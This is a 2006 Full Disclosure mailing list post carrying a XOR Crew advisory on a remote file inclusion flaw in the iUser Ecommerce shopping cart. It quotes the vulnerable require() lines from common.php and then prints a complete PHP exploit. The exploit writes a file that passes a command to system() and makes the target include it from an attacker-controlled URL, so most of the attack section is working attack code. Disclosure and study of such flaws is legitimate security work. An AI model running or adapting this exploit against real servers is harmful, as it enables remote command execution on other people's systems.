Full Disclosure mailing list archives
iUser Ecommerce - Remote Command Execution Vulnerability
From: Scott Dewey <wr0ck.lists () gmail com>
Date: Wed, 15 Feb 2006 20:49:56 -0500
======================================================================================= XOR Crew :: Security Advisory 1/10/2006 ======================================================================================= iUser Ecommerce - Remote Command Execution Vulnerability ======================================================================================= http://www.xorcrew.net/ ======================================================================================= :: Summary Vendor : Intensive Point Vendor Site : http://www.intensivepoint.com/ Product(s) : iUser Ecommerce - shopping cart for digital products Version(s) : All Severity : Medium/High Impact : Remote Command Execution Release Date : 1/10/2006 Credits : ReZEN (rezen (a) xorcrew (.) net) ======================================================================================= I. Description The iUser digital products shopping cart system has a broad range of features, giving you an incredible amount of flexibility, while remaining secure, easy to implement and administer. There is simply no other comparable shopping cart solution specializing in software downloads distribution available on the market at this price! ======================================================================================= II. Synopsis There is a remote file inclusion vulnerability that allows for remote command execution in the common.php file. The bug is here on lines 28, 29, and 32: // Load iuser configuration files @require($include_path . "setup.php"); @require($include_path . "config.php"); // Load misc functions require($include_path . "util.php"); the $include_path variable is not set prior to being used in the require() function. The vendor has been contacted and the issue has been resolved. ======================================================================================= Exploit code: -----BEGIN----- <?php /* iUser Remote File Inclusion Exploit c0ded by ReZEN Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf url: http://www.xorcrew.net/ReZEN */ $cmd = $_POST["cmd"]; $turl = $_POST["turl"]; $hurl = $_POST["hurl"]; $form= "<form method=\"post\" action=\"".$PHP_SELF."\">" ."turl:<br><input type=\"text\" name=\"turl\" size=\"90\" value=\"".$turl."\"><br>" ."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\" value=\"".$hurl."\"><br>" ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" value=\"".$cmd."\"><br>" ."<input type=\"submit\" value=\"Submit\" name=\"submit\">" ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">"; if (!isset($_POST['submit'])) { echo $form; }else{ $file = fopen ("test.txt", "w+"); fwrite($file, "<?php system(\"".$cmd."\"); ?>"); fclose($file); $file = fopen ($turl.$hurl, "r"); if (!$file) { echo "<p>Unable to get output.\n"; exit; } echo $form; while (!feof ($file)) { $line = fgets ($file, 1024); echo $line."<br>"; } } ?> ------END------ ======================================================================================= IV. Greets :> All of xor, Infinity, stokhli, ajax, gml, cijfer, my beautiful girlfriend. =======================================================================================
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- iUser Ecommerce - Remote Command Execution Vulnerability Scott Dewey (Feb 15)